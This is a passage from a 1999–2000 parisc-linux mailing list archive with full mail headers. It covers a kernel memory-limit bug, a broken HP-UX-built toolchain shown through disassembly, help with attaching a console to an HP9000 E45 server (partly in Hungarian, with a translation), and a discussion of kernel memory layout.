  by mailserv2.iuinc.com with SMTP; 20 Apr 2000 22:36:47 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by cosrel2.hp.com (Postfix) with ESMTP id 7F1061BD
	for <parisc-linux@thepuffingroup.com>; Thu, 20 Apr 2000 16:36:33 -0600 (MDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 8D8AE4FD84
	for <parisc-linux@thepuffingroup.com>; Thu, 20 Apr 2000 18:36:43 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id PAA02144 for <parisc-linux@thepuffingroup.com>; Thu, 20 Apr 2000 15:36:56 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 20 Apr 2000 15:08:02 PDT."
             <200004202208.PAA02080@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7224

Grant Grundler wrote:

> I also noticed that we don't print a message when crippling
> the box to 128MB of physical memory. I'm going to add
> that back to make sure it's happening *before* this
> init stuff happens.

I didn't have to.


>   Available memory:             2147483648 bytes
>   Good memory required:            9527296 bytes

combined with include/asm-parisc/pdc.h:
	int    imm_max_mem;            /* bytes of mem in IMM */

and it's usage in kernel/setup.c:
	mem_max = (PAGE0->imm_max_mem > MAX_MEM ? MAX_MEM : PAGE0->imm_max_mem);

Negative numbers are smaller than the small positive numbers.
We end up not crippling to 128MB and the mm code doesn't like that.
This cost me two days to figure out since I don't know what I'm
doing here.

grant

ps. Note that Paul Bame also just fixed another nasty (==hard to find)
bug in arch/parisc/lib/milli.S...


Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ELF toolchain broken on HP-UX
Date: Fri, 21 Apr 2000 15:26:16 -0700 (PDT)
Lines: 112
Approved: news@gmane.org
Message-ID: <200004212226.PAA03137@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618896 32349 80.91.229.3 (22 Nov 2014 01:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Apr 21 16:26:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA21288
	for <parisc-linux@puffin.external.hp.com>; Fri, 21 Apr 2000 16:26:07 -0600
Original-Received: (qmail 32652 invoked by uid 15267); 21 Apr 2000 22:26:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32645 invoked from network); 21 Apr 2000 22:26:03 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 21 Apr 2000 22:26:03 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel2.hp.com (Postfix) with ESMTP id B2C7511AA
	for <parisc-linux@thepuffingroup.com>; Fri, 21 Apr 2000 18:26:02 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 222B84FD86
	for <parisc-linux@thepuffingroup.com>; Fri, 21 Apr 2000 18:26:02 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id PAA03137 for parisc-linux@thepuffingroup.com; Fri, 21 Apr 2000 15:26:16 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7225



Ran into the next "wall". This is a heads up the toolchain built
on HP-UX doesn't build valid code for parisc-linux.  (It might be
fine for HP-UX binaries).


After ic_route_ioctl() is called, I get a "halted" message
and the following output:
...
IP-Config: Got BOOTP answer from 15.8.80.76, my address is 15.8.80.77
sba_map_single 0xc7f7f2bc -> 0x5202bc pdir 0xc7fb2900 8000000007f7f07f
sba_unmap_single iovp 0x5202bc
halted

PSW  : 000cfd0b  GR 1 : c0235800  GR 2 : c0232b94  GR 3 : c7fbc508  
GR 4 : c7fbc000  GR 5 : 00000000  GR 6 : c029a800  GR 7 : c0298800  
GR 8 : c0100000  GR 9 : c7ff0000  GR10 : 00505964  GR11 : c0299000  
GR12 : 00000000  GR13 : ffffffff  GR14 : 00000001  GR15 : f0400004  
GR16 : f00008c4  GR17 : f000017c  GR18 : f0000174  GR19 : 00000002  
GR20 : c7fbc50c  GR21 : c7fbc52c  GR22 : c7fbc51c  GR23 : 00000003  
GR24 : 0f08504c  GR25 : c7fbc508  GR26 : 0000890b  GR27 : c020e000  
GR28 : c7fbc508  GR29 : 00000001  GR30 : c7fbc740  GR31 : c01cb330  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c0283e54 c0283d98
 IIR : 00000000 ISR : c7fbc618 IOR : c7fea200
...
["halted" code isn't (a) SMP safe and (b) doesn't block all interrupts.
  I see more interrupts from tulip afterwards]

GR2 0xc0232b94 ic_route_ioctl+20
IAOQ 0xc0283e54 all_requests+43c

all_requests[] is an array of structs, not code.


>From net/ipv4/ipconfig.c:

static int __init ic_route_ioctl(unsigned int cmd, struct rtentry *arg)
{
        int res;

        mm_segment_t oldfs = get_fs();
        set_fs(get_ds());
        res = ip_rt_ioctl(cmd, arg);
        set_fs(oldfs);
        return res;
}

I put printk's in ip_rt_ioctl() and they don't show up on the console.


It seems the call to ip_rt_ioctl() branches to "IAOQ : c0283e54" and
hits a "break" instruction instead of branching to ip_rt_ioctl() code.
At first, I suspected the EXPORT_SYMBOL in:
    ./net/netsyms.c:254:EXPORT_SYMBOL(ip_rt_ioctl);

but EXPORT_SYMBOL is defined to nop.

I then disassembled vmlinux to see what's in ic_route_ioctl():
c0232b74 <ic_route_ioctl>:
c0232b74:       6b c2 3f d9     stw rp,-14(sr0,sp)
c0232b78:       6f c5 00 80     stw,ma r5,40(sr0,sp)
c0232b7c:       6b c4 3f 89     stw r4,-3c(sr0,sp)
c0232b80:       08 1e 02 44     copy sp,r4
c0232b84:       d4 80 1c 12     depwi 0,31,14,r4
c0232b88:       0c 98 10 85     ldw c(sr0,r4),r5
c0232b8c:       e8 5f 09 98     b,l c0271060 <inode_hashtable+0xe044>,rp
c0232b90:       0c 80 12 98     stw r0,c(sr0,r4)
c0232b94:       0c 85 12 98     stw r5,c(sr0,r4)
c0232b98:       4b c2 3f 59     ldw -54(sr0,sp),rp
c0232b9c:       4b c4 3f 89     ldw -3c(sr0,sp),r4
c0232ba0:       e8 40 c0 00     bv r0(rp)
c0232ba4:       4f c5 3f 81     ldw,mb -40(sr0,sp),r5

The b,l to 0xc0271060 seems rather bogus.  But I have no
clue how the toolchain makes relative or "long" calls.

Most folks seem to be building parisc-linux kernels on x86 linux boxes.
I wondered if the tool-chain gets built slightly differently under
HP-UX and may pull in misc HP-UX header files.  Willy kindly provided
me with a x86-linux built ic_route_ioctl() and it looks a bit different:

c0273b88 <ic_route_ioctl>:
c0273b88:       6b c2 3f d9     stw rp,-14(sr0,sp)
c0273b8c:       6f c5 00 80     stw,ma r5,40(sr0,sp)
c0273b90:       6b c4 3f 89     stw r4,-3c(sr0,sp)
c0273b94:       08 1e 02 44     copy sp,r4
c0273b98:       d4 80 1c 12     depwi 0,31,14,r4
c0273b9c:       0c 98 10 85     ldw c(sr0,r4),r5
c0273ba0:       0c 80 12 98     stw r0,c(sr0,r4)
c0273ba4:       e5 00 3f 8a     be,l,n fc4(sr4,r8)
c0273ba8:       0c 85 12 98     stw r5,c(sr0,r4)
c0273bac:       4b c2 3f 59     ldw -54(sr0,sp),rp
c0273bb0:       4b c4 3f 89     ldw -3c(sr0,sp),r4
c0273bb4:       e8 40 c0 00     bv r0(rp)
c0273bb8:       4f c5 3f 81     ldw,mb -40(sr0,sp),r5

This looks better to me.  (And willy wondered why the delay
slot wasn't used....major performance hole here.)

So I'm hosed until I either (a) get the equivalent tool chain
for HP-UX or (b) setup an x86 build machine locally.
It will cost me a day or two for (b). But it's more likely
to succeed than me mucking around with (a).


regards,
grant


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zele Gabor <zegab@freemail.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to attach a console to a HP9000 E45 server?
Date: Wed, 26 Apr 2000 18:12:15 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <7758.000426@freemail.hu>
Reply-To: Zele Gabor <zegab@freemail.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618896 32350 80.91.229.3 (22 Nov 2014 01:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:56 +0000 (UTC)
Cc: nandogp@visto.com, pedro@flynn.zork.net
To: parisc-linux@thepuffingroup.com
Original-X-From: zegab@freemail.hu  Wed Apr 26 10:12:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25795
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Apr 2000 10:12:54 -0600
Original-Received: (qmail 20628 invoked by uid 15267); 26 Apr 2000 16:12:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20607 invoked from network); 26 Apr 2000 16:12:52 -0000
Original-Received: from mail.xscomputer.hu (HELO xserver.xscomputer.hu) (195.228.135.132)
  by mailserv2.iuinc.com with SMTP; 26 Apr 2000 16:12:52 -0000
Original-Received: from szilagyi.xsnet ([192.168.41.6] helo=GAIA)
	by xserver.xscomputer.hu with esmtp (Exim 3.03 #1)
	id 12kWA3-00012W-00; Wed, 26 Apr 2000 20:03:43 +0200
X-Mailer: The Bat! (v1.41) UNREG / CD5BF9353B3B7091
X-Priority: 3 (Normal)
Xref: news.gmane.org gmane.linux.ports.parisc:7226

Hi!

   We need assistance because we have the following server - a used
   one, but it is without any kind of documentation:

   a HP 9000 E45 server
   MDP MUX - what the hell it is exactly???
   a HP 700/96 terminal with serial and paralell port
   and a SCSI storage box...

   We think there is an operating system on the server, because it
   seems to boot, but we cannot connect the terminal properly, so we
   don't see anything. (Only a menu of the terminal in German language
   :(((( )

   How can we connect the terminal to the server or can we replace
   this terminal with a terminal emulator on PC?

   What does the bootp mean? We think it means that we can boot Linux over
   network with bootp/tftp?

   Thanx

        Gabor Zele



From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to attach a console to a HP9000 E45 server?
Date: Wed, 26 Apr 2000 19:00:33 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <00bb01bfafa0$f01c2df0$3b4dbc0f@hungary.hp.com>
References: <7758.000426@freemail.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618896 32354 80.91.229.3 (22 Nov 2014 01:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:56 +0000 (UTC)
Cc: <nandogp@visto.com>, <pedro@flynn.zork.net>
To: <zegab@freemail.hu>, <parisc-linux@thepuffingroup.com>
Original-X-From: gyula_matics@hp.com  Wed Apr 26 11:01:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA26706
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Apr 2000 11:01:20 -0600
Original-Received: (qmail 29605 invoked by uid 15267); 26 Apr 2000 17:01:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29590 invoked from network); 26 Apr 2000 17:01:19 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 26 Apr 2000 17:01:19 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by cosrel1.hp.com (Postfix) with ESMTP
	id 958F910F; Wed, 26 Apr 2000 11:01:44 -0600 (MDT)
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.73.101])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id CB2CA4FD92; Wed, 26 Apr 2000 13:01:15 -0400 (EDT)
Original-Received: from pcmatics (dhcp-15-188-77-59.hungary.hp.com [15.188.77.59]) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id TAA04301; Wed, 26 Apr 2000 19:01:11 +0200 (METDST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7227

Szia,

>    a HP 9000 E45 server

oreg joszag. 7100LC 80Mhz, ha jol latom LASI van benne,
jo esely van arra, hogy mar a mostani kernel is tud
vele valamit kezdeni.

>    MDP MUX - what the hell it is exactly???

valoszinuleg egy olyan szerkezet, aminek az egyik vegen
soros portok, a masikon meg halozat van.

>    a HP 700/96 terminal with serial and paralell port

a leggyakrabban hasznalt sima soros terminal. A Data
feliratu portjat kell hasznalni (szeles soros port)

>    and a SCSI storage box...

ha az osszes szerkezethez tudsz mondani termekszamot, akkor
megmondom, hogy pontosan mik. A1234A formatumuak szoktak
lenni a szamok.

> We think there is an operating system on the server, because it
> seems to boot, but we cannot connect the terminal properly, so we
> don't see anything. (Only a menu of the terminal in German language
> :(((( )

a terminal nyelve ha jol emlekszem atallithato. nyomd meg a user/menu
gombot, aztan F8 es valahol arrafele.

A terminalt resetelni ugy tudod, hogy bekapcsolas kozben lenyomva
tartod D betut. Marmint a terminal bekapcsolasa kozben.

>    How can we connect the terminal to the server or can we replace
>    this terminal with a terminal emulator on PC?

96008N1, mukodnie kell tetszoleges terminal emulatorral.

>    What does the bootp mean? We think it means that we can boot Linux over
>    network with bootp/tftp?

az egyfajta boot protokoll es igen, a linux kernelt most legkonyebben
boot-vel tudod elinditani a szerveren.

udv,
Gyula


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to attach a console to a HP9000 E45 server?
Date: Wed, 26 Apr 2000 19:16:23 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <00c401bfafa3$260f2500$3b4dbc0f@hungary.hp.com>
References: <00bb01bfafa0$f01c2df0$3b4dbc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618896 32356 80.91.229.3 (22 Nov 2014 01:14:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:56 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: gyula_matics@hp.com  Wed Apr 26 11:17:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA26890
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Apr 2000 11:17:17 -0600
Original-Received: (qmail 11154 invoked by uid 15267); 26 Apr 2000 17:17:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11146 invoked from network); 26 Apr 2000 17:17:16 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Apr 2000 17:17:16 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by palrel3.hp.com (Postfix) with ESMTP id 34D746CDE
	for <parisc-linux@thepuffingroup.com>; Wed, 26 Apr 2000 10:17:05 -0700 (PDT)
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.73.101])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id B88B74FD85
	for <parisc-linux@thepuffingroup.com>; Wed, 26 Apr 2000 13:17:02 -0400 (EDT)
Original-Received: from pcmatics (dhcp-15-188-77-59.hungary.hp.com [15.188.77.59]) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id TAA05599 for <parisc-linux@thepuffingroup.com>; Wed, 26 Apr 2000 19:17:00 +0200 (METDST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7228

ah, sorry i didn't meant to pollute this list with
extra-terrestial text :0

Gyula



From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to attach a console to a HP9000 E45 server?
Date: Thu, 27 Apr 2000 01:24:28 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20000427012427.F11538@neep.com.au>
References: <00bb01bfafa0$f01c2df0$3b4dbc0f@hungary.hp.com> <00c401bfafa3$260f2500$3b4dbc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618897 32359 80.91.229.3 (22 Nov 2014 01:14:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Wed Apr 26 11:24:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA27073
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Apr 2000 11:24:42 -0600
Original-Received: (qmail 17440 invoked by uid 15267); 26 Apr 2000 17:24:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17409 invoked from network); 26 Apr 2000 17:24:39 -0000
Original-Received: from urban.iinet.net.au (203.59.24.231)
  by mailserv2.iuinc.com with SMTP; 26 Apr 2000 17:24:39 -0000
Original-Received: from muzak.iinet.net.au (muzak.iinet.net.au [203.59.24.237])
	by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id BAA25513
	for <parisc-linux@thepuffingroup.com>; Thu, 27 Apr 2000 01:24:33 +0800
Original-Received: from guinness.neep.com.au (reggae-10-27.nv.iinet.net.au [203.59.94.27])
	by muzak.iinet.net.au (8.8.5/8.8.5) with ESMTP id BAA22065
	for <parisc-linux@thepuffingroup.com>; Thu, 27 Apr 2000 01:24:32 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id BAA13114
	for parisc-linux@thepuffingroup.com; Thu, 27 Apr 2000 01:24:29 +0800
X-Mailer: Mutt 1.0i
In-Reply-To: <00c401bfafa3$260f2500$3b4dbc0f@hungary.hp.com>; from gyula_matics@hp.com on Wed, Apr 26, 2000 at 07:16:23PM +0200
X-URL: http://www.neep.com.au/~andrew/
Xref: news.gmane.org gmane.linux.ports.parisc:7229

Gyula Matics said:
> ah, sorry i didn't meant to pollute this list with
> extra-terrestial text :0
> 
> Gyula

I (for one) don't mind - something interesting to look at this fine dark
morning.  But perhaps you could supply a translation, as your responses
were no doubt useful for others on the list too?

Thanks,

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] holiday
Date: Wed, 26 Apr 2000 16:57:53 -0400
Lines: 4
Approved: news@gmane.org
Message-ID: <20000426165753.Q24092@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618897 32361 80.91.229.3 (22 Nov 2014 01:14:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Apr 26 14:04:21 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA28130
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Apr 2000 14:04:21 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel1.hp.com (Postfix) with SMTP id 3CEBB1C1F5
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Apr 2000 16:03:24 -0400 (EDT)
Original-Received: (qmail 460 invoked by uid 15267); 26 Apr 2000 19:57:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 408 invoked from network); 26 Apr 2000 19:57:55 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Apr 2000 19:57:55 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA06411
	for parisc-linux@thepuffingroup.com; Wed, 26 Apr 2000 16:57:53 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7230


FYI, I'm leaving on holiday.  I won't be reading my email or doing
anything parisc related until I get back on Tuesday 9th May.  Have fun.


From - Thu Nov 08 21:12:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] memory layout
Date: Wed, 17 Mar 1999 21:29:46 -0800 (PST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990317212138.2685A-100000@quark.ix.netcom.com>
References: <36F07CED.AC742994@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618897 32367 80.91.229.3 (22 Nov 2014 01:14:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:57 +0000 (UTC)
Cc: hppa-linux@puffingroup.com
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Thu Mar 18 00:29:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id AAA09342
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 00:29:27 -0500
Original-Received: (qmail 26935 invoked by uid 15267); 18 Mar 1999 05:28:38 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 26922 invoked from network); 18 Mar 1999 05:28:36 -0000
Original-Received: from dfw-ix2.ix.netcom.com (206.214.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 05:28:36 -0000
Original-Received: (from smap@localhost)
          by dfw-ix2.ix.netcom.com (8.8.4/8.8.4)
	  id XAA02184; Wed, 17 Mar 1999 23:28:39 -0600 (CST)
Original-Received: from sji-ca11-138.ix.netcom.com(209.109.237.138) by dfw-ix2.ix.netcom.com via smap (V1.3)
	id rma002150; Wed Mar 17 23:28:24 1999
In-Reply-To: <36F07CED.AC742994@netscape.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7231


Talking about only pa1.1 or 32 bit CPUs, I would say the same layout
can be used as Linux on Intel does. That is kernel mapped at 0xc0000000.
So 3 Gig for User space and 1 Gig for kernel. Of course, other ppl may
have different ideas. 

PA has this strange concept of Spaces and they have those 
space registers %sr0 to %sr7. This reminds me of Intel's segment 
registers. And whoever wanted to do any serious OS like Unix on 80386
never liked segments.

					pkd 

On Wed, 17 Mar 1999, Mike Shaver wrote:

> rd.c:467: `KERNEL_DS' undeclared (first use in this function)
> mmap.c:361: `TASK_UNMAPPED_BASE' undeclared (first use in this function)
> 
> It sorta begs the question: what is our memory layout going to look
> like?  What goes where?  I'll pore over my PA-RISC book tonight looking
> for clues, but I doubt that'll be enough.
> 
> What kind of memory layout does HP-UX use, if I might be so bold as to
> ask?
> 
> Mike
> 


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to attach a console to a HP9000 E45 server?
Date: Thu, 27 Apr 2000 09:17:31 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <004101bfb018$a7c480c0$9049bc0f@hungary.hp.com>
References: <20000427012427.F11538@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618898 32369 80.91.229.3 (22 Nov 2014 01:14:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:58 +0000 (UTC)
To: <andrew@neep.com.au>, <parisc-linux@thepuffingroup.com>
Original-X-From: gyula_matics@hp.com  Thu Apr 27 02:36:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA00440
	for <parisc-linux@puffin.external.hp.com>; Thu, 27 Apr 2000 02:36:07 -0600
Original-Received: (qmail 14039 invoked by uid 15267); 27 Apr 2000 08:36:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14032 invoked from network); 27 Apr 2000 08:36:06 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 27 Apr 2000 08:36:06 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by cosrel1.hp.com (Postfix) with ESMTP
	id B15A04E0; Thu, 27 Apr 2000 02:35:13 -0600 (MDT)
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.73.101])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 9DE4D5135E; Thu, 27 Apr 2000 03:17:35 -0400 (EDT)
Original-Received: from pcmatics (pcmatics.hungary.hp.com [15.188.73.144]) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA05047; Thu, 27 Apr 2000 09:17:33 +0200 (METDST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7232

> But perhaps you could supply a translation, as your responses

OK, here is your chance to learn Hungarian.

> Szia,

Hi,

> >    a HP 9000 E45 server
> oreg joszag. 7100LC 80Mhz, ha jol latom LASI van benne,
> jo esely van arra, hogy mar a mostani kernel is tud
> vele valamit kezdeni.

an old beast. 7100LC 80Mhz, and if i'm correct it has
LASI so there is a pretty good chance that the current
kernel can do something with it.

> >    MDP MUX - what the hell it is exactly???
> valoszinuleg egy olyan szerkezet, aminek az egyik vegen
> soros portok, a masikon meg halozat van.

it's a thing with serial lines on one end and probably
lan on the other.

> >    a HP 700/96 terminal with serial and paralell port
> a leggyakrabban hasznalt sima soros terminal. A Data
